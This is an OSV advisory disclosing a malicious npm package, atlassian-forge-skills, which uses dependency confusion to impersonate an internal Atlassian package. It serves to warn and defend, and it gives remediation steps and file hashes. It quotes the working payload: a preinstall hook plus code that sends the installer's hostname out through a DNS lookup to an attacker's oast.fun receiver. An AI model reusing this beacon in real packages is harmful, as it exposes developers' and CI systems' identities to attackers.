MAL-2026-5891

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/atlassian-forge-skills/MAL-2026-5891.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5891
Aliases
  • GHSA-7gj4-qpcp-64p2
Published
2026-06-16T14:52:14Z
Modified
2026-06-25T03:31:25.922210810Z
Summary
Malicious code in atlassian-forge-skills (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (0ca0f4b99cda621977551550ed678ad77ee82827714acb9d08534f53b0642e3c)

Package impersonates an internal Atlassian Forge dependency (unscoped name atlassian-forge-skills, description 'Internal package', generic author 'Team'). package.json declares "preinstall": "node index.js", which fires automatically on npm install. index.js lines 6-8 read os.hostname() and embed it as a subdomain of a hardcoded interactsh OAST receiver: const targetDomain =${hostname}.zcagyqqmvnmgsklstrrr6xo2715tov7wz.oast.fun; dns.lookup(targetDomain, () => {});. The DNS lookup is sufficient to leak the installer's hostname to the attacker-controlled oast.fun DNS server — the canonical dependency-confusion payload, where any developer or CI pipeline that mistakenly resolves an internal Atlassian package name to this public registry entry exposes host identity for follow-on targeting.

Source: ghsa-malware (a17c91aac3c46d1cce6065a19971444e6acca0d789f3507bc62547197d2c86d0)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "versions": [
                "29.1.0"
            ],
            "sha256": "0ca0f4b99cda621977551550ed678ad77ee82827714acb9d08534f53b0642e3c",
            "import_time": "2026-06-16T16:06:33.198581429Z",
            "modified_time": "2026-06-16T14:52:14Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-006753"
        },
        {
            "source": "ghsa-malware",
            "sha256": "a17c91aac3c46d1cce6065a19971444e6acca0d789f3507bc62547197d2c86d0",
            "import_time": "2026-06-25T03:23:52.146515141Z",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "id": "GHSA-7gj4-qpcp-64p2",
            "modified_time": "2026-06-25T02:16:45Z"
        }
    ]
}
References
Credits

Affected packages

npm / atlassian-forge-skills

Package

Name
atlassian-forge-skills
View open source insights on deps.dev
Purl
pkg:npm/atlassian-forge-skills

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

29.*
29.1.0

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators
{
    "package_integrity": [
        {
            "filename": "atlassian-forge-skills-29.1.0.tgz",
            "hashes": {
                "sha1": "34d9108eec5b1768df67557ccfb364006b84a051",
                "sha512_sri": "sha512-kppU1UOyFnUbOL9KPGgQoCvSGCh/xMQzhMoqjADJlKfyE3E7p71XTLlyoTAEomfghocgTLXoM0kefb6jK+5fyA=="
            }
        }
    ],
    "evidence_files": [
        {
            "tlsh": "55d05ee503a4a390093162c872329617e723e1673683a9c0b94c92c24fa2a70cd728bc",
            "sha256": "022bbb08b9e9a7dc384de2d058f5cb1b053977a0abdc4db4fa518826c96b4b9b",
            "path": "index.js"
        },
        {
            "tlsh": "e8e02b728d219d2308744bf5483a290ab1928f3f60384c8bf1bb121c61d32608cee308",
            "sha256": "b8f6e49458a479308513366d7578d3a234982ee618f23435d71a691979476fd9",
            "path": "package.json"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/atlassian-forge-skills/MAL-2026-5891.json"